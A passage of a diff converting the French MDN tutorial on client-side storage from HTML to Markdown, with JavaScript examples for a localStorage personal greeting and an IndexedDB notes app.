'forget' - forgetDiv.style.display = 'block'; - rememberDiv.style.display = 'none'; - } else { - // Sinon, affiche un accueil générique - h1.textContent = 'Welcome to our website '; - personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.'; - // cache la partie 'forget' du formulaire et affiche la partie 'remember' - forgetDiv.style.display = 'none'; - rememberDiv.style.display = 'block'; - } -}</pre> - </li> - <li> - <p>Dernier point, mais non des moindres, on exécute la fonction <code>nameDisplayCheck()</code> à chaque fois que la page est chargée. Si on ne le faisait pas, l'accueil personnalisé ne serait pas affiché après qu'on ait rafraichit la page. Ajoutez ce qui suit au bas de votre code :</p> +Une caractéristique clé du web storage est que les données persistent entre les différents chargements de page (et même lorsque le navigateur est arrêté dans le cas du `localStorage`). Regardons ça en action : + +1. Ouvrez notre template vide une fois de plus, mais cette fois dans un navigateur différent de celui dans lequel vous avez ouvert ce tutoriel. Cela rendra la suite plus facile. +2. Tapez ces lignes dans la console JavaScript du navigateur que vous venez d'ouvrir : + + ```js + localStorage.setItem('name','Chris'); + var myName = localStorage.getItem('name'); + myName + ``` + + Vous devriez voir que l'entrée `name` est bien là. + +3. Maintenant, fermez le navigateur et ouvrez-le de nouveau. +4. Entrez les lignes suivantes : + + ```js + var myName = localStorage.getItem('name'); + myName + ``` + + Vous devriez voir que la valeur est toujours accessible, quand bien même le navigateur a été redémarré. + +### Stockage séparé pour chaque domaine + +Il existe un système de stockage distinct pour chaque domaine (chaque adresse web chargée dans le navigateur a accès à son propre storage et pas aux autres). Vous verrez que si vous chargez deux sites web (disons google.com et amazon.com) et essayez de stocker un élément, il ne sera pas disponible sur l'autre site. + +C'est plutôt logique — imaginez les problèmes de sécurité qui se poseraient si les sites web pouvaient voir les données d'un autre ! + +### Un exemple plus impliqué - <pre class="brush: js">document.body.onload = nameDisplayCheck;</pre> - </li> -</ol> +Appliquons cette nouvelle connaissance pour écrire un exemple, cela vous donnera une idée de la façon dont le web storage peut être utilisé. Notre exemple permettra d'envoyer un nom, à la suite de quoi la page sera mise à jour pour donner un accueil personnalisé. Cet état persistera également après un rechargement de la page ou redémarrage du navigateur, puisqu'il sera stocké dans le web storage. -<p>Notre exemple est terminé — bien joué ! Il ne vous reste plus qu'à enregistrer votre code et tester votre page HTML dans un navigateur. Vous pouvez voir notre <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html">version terminée en direct ici</a> (ou le <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/index.js">code JavaScript terminé</a>).</p> +Le HTML de l'exemple est disponible à [personal-greeting.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html) — il s'agit d'un site web très simple avec entête, contenu et pied de page, ainsi qu'un formulaire pour entrer votre nom. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver un exemple un peu plus complexe dans l'article <a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utiliser l'API de stockage web</a>.</p> -</div> + -<div class="note"> -<p><strong>Note :</strong> Dans la ligne <code><script src="index.js" defer></script></code> de notre version finie, l'attribut <code>defer</code> spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger.</p> -</div> +Nous allons construire cet exemple pas à pas, cela vous permettra de comprendre comment ça marche. -<h2 id="Stocker_des_données_complexes_—_IndexedDB">Stocker des données complexes — IndexedDB</h2> +1. D'abord, copiez notre fichier [personal-greeting.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html) dans un nouveau répertoire sur votre ordinateur. +2. Ensuite, créez un fichier `index.js` dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40). +3. Nous allons commencer par récupérer les références de tous les éléments HTML qu'on manipulera dans cet exemple — nous les créons en tant que constantes car ces références n'ont pas besoin d'être modifiées au cours de l'exécution de l'application. Ajoutez les lignes suivantes à votre fichier JavaScript: -<p>L'<a href="/fr/docs/Web/API/IndexedDB_API">API IndexedDB</a> (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB.</p> + ```js + // créer les constantes nécessaires + const rememberDiv = document.querySelector('.remember'); + const forgetDiv = document.querySelector('.forget'); + const form = document.querySelector('form'); + const nameInput = document.querySelector('#entername'); + const submitBtn = document.querySelector('#submitname'); + const forgetBtn = document.querySelector('#forgetname'); -<p>Cependant, cela a un coût : IndexedDB est beaucoup plus complexe à utiliser que l'API Web Storage. Dans cette section, nous ne ferons qu'égratigner la surface de ce qu'IndexedDB peut faire, mais nous vous en donnerons assez pour débuter.</p> + const h1 = document.querySelector('h1'); + const personalGreeting = document.querySelector('.personal-greeting'); + ``` -<h3 id="Un_exemple_de_stockage_de_notes">Un exemple de stockage de notes</h3> +4. Ensuite, on doit ajouter un gestionnaire d'événement pour empêcher le formulaire d'être véritablement soumis lorsque le bouton de soumission est cliqué, puisque ce n'est pas le comportement que l'on veut. Ajoutez le bout de code suivant à la suite de du code précédent : -<p>Nous allons voir un exemple qui vous permettra de stocker des notes dans votre navigateur, les voir et les supprimer, quand vous le souhaitez. Vous apprendrez à le construire par vous-même au fur et à mesure des explications et cela vous permettra de comprendre les parties fondamentales d'IDB.</p> + ```js + // Empêcher le form d'être soumis + form.addEventListener('submit', function(e) { + e.preventDefault(); + }); + ``` -<p>L'application ressemble à ceci :</p> +5. Maintenant, on doit ajouter un gestionnaire d'événement pour gérer le clic sur le bouton "Say hello" (dire bonjour). Les commentaires expliquent ce que chaque instruction fait, mais, en substance, on prend le nom que l'utilisateur a entré dans le champs texte et on l'enregistre dans le web storage avec `setItem()`. Ensuite, on exécute une fonction appelée `nameDisplayCheck()` qui se charge de mettre à jour le contenu du site web. Ajoutez ceci au bas de votre code : -<p><img alt="" src="idb-demo.png"></p> + ```js + // exécuter la fonction quand le bouton 'Say hello' est cliqué + submitBtn.addEventListener('click', function() { + // stocker le nom entré dans le web storage + localStorage.setItem('name', nameInput.value); + // exécuter nameDisplayCheck() pour afficher la + // page personnalisée et changer le formulaire + nameDisplayCheck(); + }); + ``` -<p>Chaque note a un titre et une description, chacun éditables individuellement. Le code JavaScript que nous allons voir ci-dessous contient des commentaires détaillés pour vous aider à comprendre ce qu'il se passe.</p> +6. On doit maintenant gérer l'événement lorsque le bouton "Forget" (oublier) est cliqué — il est affiché une fois que le bouton "Say hello" a été cliqué (les deux boutons permettent de basculer d'un état à l'autre). Dans cette fonction, on supprime l'élément `name` du web storage en utilisant `removeItem()`, puis on exécute `nameDisplayCheck()` pour mettre à jour l'affichage. Ajoutez ceci au bas de votre code : -<h3 id="Pour_commencer">Pour commencer</h3> + ```js + // exécuter la fonction quand le bouton 'Forget' est cliqué + forgetBtn.addEventListener('click', function() { + // supprimer l'item name du web storage + localStorage.removeItem('name'); + // exécuter nameDisplayCheck() pour afficher la + // page personnalisée et changer le formulaire + nameDisplayCheck(); + }); + ``` -<ol> - <li>Tout d'abord, copiez les fichiers <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css">style.css</a></code>, et <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js">index-start.js</a></code> dans un nouveau répertoire sur votre ordinateur.</li> - <li>Jetez un coup d'oeil aux fichiers. - <ul> - <li>Vous verrez que le HTML est assez simple : un site web avec une entête et un pied de page, ainsi qu'une zone de contenu principal contenant un emplacement pour afficher les notes et un formulaire pour en ajouter.</li> - <li>Le CSS fournit un style simple pour rendre plus clair ce qu'il se passe.</li> - <li>Le fichier JavaScript contient cinq constantes déclarées — des références à l'élément {{htmlelement("ul")}} dans lequel seront affichées les notes, les {{htmlelement("input")}} title et body, le {{htmlelement("form")}} lui-même, et un {{htmlelement("button")}}.</li> - </ul> - </li> - <li>Renommez votre fichier JavaScript en <code>index.js</code>. Vous êtes maintenant prêt pour y ajouter du code.</li> -</ol> +7. Il est maintenant temps de définir la fonction `nameDisplayCheck()` elle-même. Ici, on vérifie si l'élément `name` est stocké dans le web storage en utilisant `localStorage.getItem('name')` comme condition. S'il existe, la valeur retournée sera évaluée à `true`; sinon, comme `false`. S'il existe, on affiche un message d'accueil personnalisé et le bouton "Forget" du formulaire, tout en masquant le bouton "Say hello" du formulaire. Sinon, on affiche un message d'accueil générique et le bouton "Say hello". Encore une fois, mettez les lignes suivantes au bas de votre code : -<h3 id="Configuration_initiale_de_la_base_de_données">Configuration initiale de la base de données</h3> + ```js + // définit la fonction nameDisplayCheck() + function nameDisplayCheck() { + // vérifie si l'élément 'name' est stocké dans le web storage + if(localStorage.getItem('name')) { + // Si c'est le cas, affiche un accueil personnalisé + let name = localStorage.getItem('name'); + h1.textContent = 'Welcome, ' + name; + personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.'; + // cache la partie 'remember' du formulaire et affiche la partie 'forget' + forgetDiv.style.display = 'block'; + rememberDiv.style.display = 'none'; + } else { + // Sinon, affiche un accueil générique + h1.textContent = 'Welcome to our website '; + personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.'; + // cache la partie 'forget' du formulaire et affiche la partie 'remember' + forgetDiv.style.display = 'none'; + rememberDiv.style.display = 'block'; + } + } + ``` + +8. Dernier point, mais non des moindres, on exécute la fonction `nameDisplayCheck()` à chaque fois que la page est chargée. Si on ne le faisait pas, l'accueil personnalisé ne serait pas affiché après qu'on ait rafraichit la page. Ajoutez ce qui suit au bas de votre code : + + ```js + document.body.onload = nameDisplayCheck; + ``` + +Notre exemple est terminé — bien joué ! Il ne vous reste plus qu'à enregistrer votre code et tester votre page HTML dans un navigateur. Vous pouvez voir notre [version terminée en direct ici](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html) (ou le [code JavaScript terminé](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/index.js)). -<p>Voyons maintenant la première chose à faire, mettre en place la base de données.</p> +> **Note :** Vous pouvez trouver un exemple un peu plus complexe dans l'article [Utiliser l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API). -<ol> - <li> - <p>À la suite des déclarations de constantes, ajoutez les lignes suivantes :</p> +> **Note :** Dans la ligne `<script src="index.js" defer></script>` de notre version finie, l'attribut `defer` spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger. - <pre class="brush: js">// Objet db pour stocker la BDD ouverte -let db;</pre> +## Stocker des données complexes — IndexedDB - <p>Ici, on déclare une variable appelée <code>db</code> — on l'utilisera plus tard pour stocker un objet permettant d'accéder à la base de données. On l'utilisera à plusieurs endroits, on l'a donc déclaré globablement ici pour faciliter les choses.</p> - </li> - <li> - <p>Ensuite, ajoutez ce qui suit au bas de votre code :</p> +L'[API IndexedDB](/fr/docs/Web/API/IndexedDB_API) (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB. - <pre class="brush: js">window.onload = function() { +Cependant, cela a un coût : IndexedDB est beaucoup plus complexe à utiliser que l'API Web Storage. Dans cette section, nous ne ferons qu'égratigner la surface de ce qu'IndexedDB peut faire, mais nous vous en donnerons assez pour débuter. -};</pre> +### Un exemple de stockage de notes - <p>On écrira tout notre code dans le gestionnaire d'événement <code>window.onload</code>, appelé quand l'événement {{event("load")}} de la fenêtre est chargé, pour s'assurer qu'on n'essaiera pas d'utiliser IndexedDB avant que l'application ne soit complètement chargée (ça ne marcherait pas sinon).</p> - </li> - <li> - <p>À l'intérieur de <code>window.onload</code>, ajoutez ce qui suit :</p> +Nous allons voir un exemple qui vous permettra de stocker des notes dans votre navigateur, les voir et les supprimer, quand vous le souhaitez. Vous apprendrez à le construire par vous-même au fur et à mesure des explications et cela vous permettra de comprendre les parties fondamentales d'IDB. - <pre class="brush: js">// Ouvrir la BDD; elle sera créée si elle n'existe pas déjà -// (voir onupgradeneeded) -let request = window.indexedDB.open('notes', 1);</pre> +L'application ressemble à ceci : - <p>Cette ligne crée une requête <code>request</code> pour ouvrir la version <code>1</code> de la base de données appelée <code>notes</code>. Si elle n'existe pas déjà, on devra la créer via un gestionnaire d'événement.</p> + - <p>Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera.</p> +Chaque note a un titre et une description, chacun éditables individuellement. Le code JavaScript que nous allons voir ci-dessous contient des commentaires détaillés pour vous aider à comprendre ce qu'il se passe. - <p>Pour gérer cela dans IndexedDB, on crée d'abord une requête (que vous pouvez appeler comme vous le voulez — on l'appelle <code>request</code> pour que ce soit plus explicite). On utilise ensuite des gestionnaire d'événement pour exécuter du code lorsque les requêtes sont terminées, échouent, etc, ce que l'on va voir ci-dessous.</p> +### Pour commencer - <div class="note"> - <p><strong>Note :</strong> Le numéro de version est important. Si vous voulez mettre à jour votre base de données (par exemple, pour modifier la structure de la table), vous devez ré-exécuter votre code avec un numéro de version supérieur et spécifier le schéma de la base de données avec le gestionnaire d'événement <code>onupgradeneeded</code>. Nous ne verrons pas la mise à jour de base de données dans ce tutoriel.</p> - </div> - </li> - <li> - <p>Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de <code>window.onload</code> :</p> +1. Tout d'abord, copiez les fichiers [`index.html`](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html), [`style.css`](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css), et [`index-start.js`](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js) dans un nouveau répertoire sur votre ordinateur. +2. Jetez un coup d'oeil aux fichiers. - <pre class="brush: js">// la base de données n'a pas pu être ouverte avec succès -request.onerror = function() { - console.log('Database failed to open'); -}; + - Vous verrez que le HTML est assez simple : un site web avec une entête et un pied de page, ainsi qu'une zone de contenu principal contenant un emplacement pour afficher les notes et un formulaire pour en ajouter. + - Le CSS fournit un style simple pour rendre plus clair ce qu'il se passe. + - Le fichier JavaScript contient cinq constantes déclarées — des références à l'élément {{htmlelement("ul")}} dans lequel seront affichées les notes, les {{htmlelement("input")}} title et body, le {{htmlelement("form")}} lui-même, et un {{htmlelement("button")}}. -// la base de données a été ouverte avec succès -request.onsuccess = function() { - console.log('Database opened successfully'); +3. Renommez votre fichier JavaScript en `index.js`. Vous êtes maintenant prêt pour y ajouter du code. - // Stocke la base de données ouverte dans la variable db. On l'utilise par la suite - db = request.result; +### Configuration initiale de la base de données - // Exécute la fonction displayData() pour afficher les notes qui sont dans la BDD - displayData(); -};</pre> +Voyons maintenant la première chose à faire, mettre en place la base de données. - <p>Le gestionnaire d'événement {{domxref("IDBRequest.onerror", "request.onerror")}} s'exécutera si la requête échoue. Cela vous permet de gérer le problème si cela arrive. Dans notre exemple, on affiche simplement un message dans la console JavaScript.</p> +1. À la suite des déclarations de constantes, ajoutez les lignes suivantes : + + ```js + // Objet db pour stocker la BDD ouverte + let db; + ``` + + Ici, on déclare une variable appelée `db` — on l'utilisera plus tard pour stocker un objet permettant d'accéder à la base de données. On l'utilisera à plusieurs endroits, on l'a donc déclaré globablement ici pour faciliter les choses. + +2. Ensuite, ajoutez ce qui suit au bas de votre code : + + ```js + window.onload = function() { + + }; + ``` - <p>Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable <code>db</code> qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée <code>displayData()</code>, qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée.</p> - </li> - <li> - <p>Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent :</p> + On écrira tout notre code dans le gestionnaire d'événement `window.onload`, appelé quand l'événement {{event("load")}} de la fenêtre est chargé, pour s'assurer qu'on n'essaiera pas d'utiliser IndexedDB avant que l'application ne soit complètement chargée (ça ne marcherait pas sinon). - <pre class="brush: js">// Spécifie les tables de la BDD si ce n'est pas déjà pas fait -request.onupgradeneeded = function(e) { - // Récupère une référence à la BDD ouverte - let db = e.target.result; +3. À l'intérieur de `window.onload`, ajoutez ce qui suit : - // Crée un objectStore pour stocker nos notes (une table) - // Avec un champ qui s'auto-incrémente comme clé - let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true }); + ```js + // Ouvrir la BDD; elle sera créée si elle n'existe pas déjà + // (voir onupgradeneeded) + let request = window.indexedDB.open('notes', 1); + ``` - // Définit les champs que l'objectStore contient - objectStore.createIndex('title', 'title', { unique: false }); - objectStore.createIndex('body', 'body', { unique: false }); + Cette ligne crée une requête `request` pour ouvrir la version `1` de la base de données appelée `notes`. Si elle n'existe pas déjà, on devra la créer via un gestionnaire d'événement. - console.log('Database setup complete'); -};</pre> + Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera. - <p>C'est ici qu'on définit le schéma (la structure) de notre base de données; c'est à dire l'ensemble des champs (ou colonnes) qu'il contient.</p> + Pour gérer cela dans IndexedDB, on crée d'abord une requête (que vous pouvez appeler comme vous le voulez — on l'appelle `request` pour que ce soit plus explicite). On utilise ensuite des gestionnaire d'événement pour exécuter du code lorsque les requêtes sont terminées, échouent, etc, ce que l'on va voir ci-dessous. - <ol> - <li> - <p>On récupère une référence à la base de données existante depuis <code>e.target.result</code> (la propriété <code>result</code> de la cible de l'événement, c'est à dire l'objet <code>request</code>). C'est l'équivalent de la ligne <code>db = request.result;</code> du gestionnaire d'événement <code>onsuccess</code>, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement <code>onupgradeneeded</code> est exécuté avant <code>onsuccess</code> — la valeur de <code>db</code> n'est pas encore disponible.</p> - </li> - <li> - <p>Ensuite, on utilise {{domxref("IDBDatabase.createObjectStore()")}} pour créer un object store (un container pour une collection d'objets) à l'intérieur de notre base de données. C'est l'équivalent d'une table dans un système de base de données traditionnel. On lui a donné le nom <code>notes</code>, et un champs <code>id</code> avec <code>autoIncrement</code> — pour chaque nouvelle entrée dans cette table, une valeur auto-incrementée sera attributée au champ <code>id</code> sans que le développeur n'ait à le définir. Le champ <code>id</code> est la clé de l'object store: il sera utilisé pour identifier de manière unique les entrées, permettant de les mettre à jour ou les supprimer.</p> - </li> - <li> - <p>On crée deux autres index (champs) en utilisant la méthode {{domxref("IDBObjectStore.createIndex()")}}: <code>title</code> (qui contiendra le titre de chaque note), et <code>body</code> (qui contiendra la description de chaque note).</p> - </li> - </ol> - </li> -</ol> + > **Note :** Le numéro de version est important. Si vous voulez mettre à jour votre base de données (par exemple, pour modifier la structure de la table), vous devez ré-exécuter votre code avec un numéro de version supérieur et spécifier le schéma de la base de données avec le gestionnaire d'événement `onupgradeneeded`. Nous ne verrons pas la mise à jour de base de données dans ce tutoriel. -<p>Avec ce simple schéma de base de données en place, on va pouvoir ajouter des entrées à la base de données, des objets qui ressembleront à ça :</p> +4. Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de `window.onload` : -<pre class="brush: js">{ + ```js + // la base de données n'a pas pu être ouverte avec succès + request.onerror = function() { + console.log('Database failed to open'); + }; + + // la base de données a été ouverte avec succès + request.onsuccess = function() { + console.log('Database opened successfully'); + + // Stocke la base de données ouverte dans la variable db. On l'utilise par la suite + db = request.result; + + // Exécute la fonction displayData() pour afficher les notes qui sont dans la BDD + displayData(); + }; + ``` + + Le gestionnaire d'événement {{domxref("IDBRequest.onerror", "request.onerror")}} s'exécutera si la requête échoue. Cela vous permet de gérer le problème si cela arrive. Dans notre exemple, on affiche simplement un message dans la console JavaScript. + + Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable `db` qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée `displayData()`, qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée. + +5. Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent : + + ```js + // Spécifie les tables de la BDD si ce n'est pas déjà pas fait + request.onupgradeneeded = function(e) { + // Récupère une référence à la BDD ouverte + let db = e.target.result; + + // Crée un objectStore pour stocker nos notes (une table) + // Avec un champ qui s'auto-incrémente comme clé + let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true }); + + // Définit les champs que l'objectStore contient + objectStore.createIndex('title', 'title', { unique: false }); + objectStore.createIndex('body', 'body', { unique: false }); + + console.log('Database setup complete'); + }; + ``` + + C'est ici qu'on définit le schéma (la structure) de notre base de données; c'est à dire l'ensemble des champs (ou colonnes) qu'il contient. + + 1. On récupère une référence à la base de données existante depuis `e.target.result` (la propriété `result` de la cible de l'événement, c'est à dire l'objet `request`). C'est l'équivalent de la ligne `db = request.result;` du gestionnaire d'événement `onsuccess`, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement `onupgradeneeded` est exécuté avant `onsuccess` — la valeur de `db` n'est pas encore disponible. + 2. Ensuite, on utilise {{domxref("IDBDatabase.createObjectStore()")}} pour créer un object store (un container pour une collection d'objets) à l'intérieur de notre base de données. C'est l'équivalent d'une table dans un système de base de données traditionnel. On lui a donné le nom `notes`, et un champs `id` avec `autoIncrement` — pour chaque nouvelle entrée dans cette table, une valeur auto-incrementée sera attributée au champ `id` sans que le développeur n'ait à le définir. Le champ `id` est la clé de l'object store: il sera utilisé pour identifier de manière unique les entrées, permettant de les mettre à jour ou les supprimer. + 3. On crée deux autres index (champs) en utilisant la méthode {{domxref("IDBObjectStore.createIndex()")}}: `title` (qui contiendra le titre de chaque note), et `body` (qui contiendra la description de chaque note). + +Avec ce simple schéma de base de données en place, on va pouvoir ajouter des entrées à la base de données, des objets qui ressembleront à ça : + +```js +{ title: "Acheter du lait", body: "Lait de vache et de soja.", id: 8 -}</pre> +} +``` -<h3 id="Ajouter_des_données_à_la_base_de_données">Ajouter des données à la base de données</h3> +### Ajouter des données à la base de données -<p>Maintenant, voyons comment ajouter des entrées dans la base de données. On le fera en utilisant le formulaire de notre page.</p> +Maintenant, voyons comment ajouter des entrées dans la base de données. On le fera en utilisant le formulaire de notre page. -<ol> - <li> - <p>À la suite du gestionnaire d'événement précédent (mais toujours dans <code>window.onload</code>), ajoutez la ligne suivante — elle définit un gestionnaire d'événement <code>onsubmit</code> pour exécuter la fonction <code>addData()</code> quand le formulaire est soumis (que le {{htmlelement("button")}} envoyer est pressé et que les champs du formulaire sont valides) :</p> +1. À la suite du gestionnaire d'événement précédent (mais toujours dans `window.onload`), ajoutez la ligne suivante — elle définit un gestionnaire d'événement `onsubmit` pour exécuter la fonction `addData()` quand le formulaire est soumis (que le {{htmlelement("button")}} envoyer est pressé et que les champs du formulaire sont valides) : - <pre class="brush: js">// Créer un gestionnaire onsubmit pour appeler la fonction addData() quand le formulaire est soumis -form.onsubmit = addData;</pre> - </li> - <li> - <p>Maintenant, définissons la fonction <code>addData()</code>. Ajoutez ce qui suit après la ligne précédente :</p> + ```js + // Créer un gestionnaire onsubmit pour appeler la fonction addData() quand le formulaire est soumis + form.onsubmit = addData; + ``` - <pre class="brush: js">// Définit la fonction addData() -function addData(e) { - // empêcher le formulaire d'être soumis vers le serveur - e.preventDefault(); +2. Maintenant, définissons la fonction `addData()`. Ajoutez ce qui suit après la ligne précédente : - // récupérer les valeurs entrées dans les champs du formulaire - // et les stocker dans un objet qui sera inséré en BDD - let newItem = { title: titleInput.value, body: bodyInput.value }; + ```js + // Définit la fonction addData() + function addData(e) { + // empêcher le formulaire d'être soumis vers le serveur + e.preventDefault(); - // ouvrir une transaction en lecture/écriture - let transaction = db.transaction(['notes'], 'readwrite'); + // récupérer les valeurs entrées dans les champs du formulaire + // et les stocker dans un objet qui sera inséré en BDD + let newItem = { title: titleInput.value, body: bodyInput.value }; - // récupérer l'object store de la base de données qui a été ouvert avec la transaction - let objectStore = transaction.objectStore('notes'); + // ouvrir une transaction en lecture/écriture + let transaction = db.transaction(['notes'], 'readwrite'); - // demander l'ajout de notre nouvel objet à l'object store - var request = objectStore.add(newItem); - request.onsuccess = function() { - // vider le formulaire, pour qu'il soit prêt pour un nouvel ajout - titleInput.value = ''; - bodyInput.value = ''; - }; + // récupérer l'object store de la base de données qui a été ouvert avec la transaction + let objectStore = transaction.objectStore('notes'); - // attendre la fin de la transaction, quand l'ajout a été effectué - transaction.oncomplete = function() { - console.log('Transaction completed: database modification finished.'); + // demander l'ajout de notre nouvel objet à l'object store + var request = objectStore.add(newItem); + request.onsuccess = function() { + // vider le formulaire, pour qu'il soit prêt pour un nouvel ajout + titleInput.value = ''; + bodyInput.value = ''; + }; - // mettre à jour l'affichage pour montrer le nouvel item en exécutant displayData() - displayData(); - }; + // attendre la fin de la transaction, quand l'ajout a été effectué + transaction.oncomplete = function() { + console.log('Transaction completed: database modification finished.'); - transaction.onerror = function() { - console.log('Transaction not opened due to error'); - }; -}</pre> - - <p>C'est assez complexe, voyons ça pas à pas :</p> - - <ol> - <li> - <p>On exécute {{domxref("Event.preventDefault()")}} sur l'objet événement pour empêcher le formulaire d'être véritablement soumis (cela provoquerait une actualisation de la page et gâcherait l'expérience utilisateur).</p> - </li> - <li> - <p>On crée un objet représentant une entrée à ajouter dans la base de données, en le remplissant avec les valeurs des champs du formulaire. Notez qu'on n'a pas besoin d'inclure explicitement une valeur <code>id</code> — comme nous l'avons précédemment expliqué, il est auto-rempli.</p> - </li> - <li> - <p>On ouvre une transaction en lecture/écritre (<code>readwrite</code>) sur l'object store <code>notes</code> en utilisant la méthode {{domxref("IDBDatabase.transaction()")}}. Cet object transaction va nous permettre d'accéder à l'object store, pour ajouter une nouvelle entrée par exemple.</p> - </li> - <li> - <p>On récupère l'object store de la transaction avec la méthode {{domxref("IDBTransaction.objectStore()")}} et on le stocke dans la variable <code>objectStore</code>.</p> - </li> - <li> - <p>On ajoute un nouvel enregistrement à la base de données en utilisant {{domxref("IDBObjectStore.add()")}}. Cela crée une requête, sur le même principe qu'on a déjà vu.</p> - </li> - <li>On ajoute des gestionnaires d'événement à <code>request</code> et <code>transaction</code> pour exécuter du code aux points importants de leur cycle de vie : - <ul> - <li>Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note</li> - <li>Quand la transaction est terminé, on réexécute la fonction <code>displayData()</code> — pour mettre à jour l'affichage de notes sur la page.</li> - </ul> - </li> - </ol> - </li> -</ol> - -<h3 id="Afficher_les_données">Afficher les données</h3> - -<p>Nous avons déjà appelé <code>displayData()</code> deux fois dans notre code, nous allons maintenant définir cette fonction. Ajoutez ce qui suit à votre code, en dessous de la définition de la fonction précédente :</p> - -<pre class="brush: js">// Définit la fonction displayData() + // mettre à jour l'affichage pour montrer le nouvel item en exécutant displayData() + displayData(); + }; + + transaction.onerror = function() { + console.log('Transaction not opened due to error'); + }; + } + ``` + + C'est assez complexe, voyons ça pas à pas : + + 1. On exécute {{domxref("Event.preventDefault()")}} sur l'objet événement pour empêcher le formulaire d'être véritablement soumis (cela provoquerait une actualisation de la page et gâcherait l'expérience utilisateur). + 2. On crée un objet représentant une entrée à ajouter dans la base de données, en le remplissant avec les valeurs des champs du formulaire. Notez qu'on n'a pas besoin d'inclure explicitement une valeur `id` — comme nous l'avons précédemment expliqué, il est auto-rempli. + 3. On ouvre une transaction en lecture/écritre (`readwrite`) sur l'object store `notes` en utilisant la méthode {{domxref("IDBDatabase.transaction()")}}. Cet object transaction va nous permettre d'accéder à l'object store, pour ajouter une nouvelle entrée par exemple. + 4. On récupère l'object store de la transaction avec la méthode {{domxref("IDBTransaction.objectStore()")}} et on le stocke dans la variable `objectStore`. + 5. On ajoute un 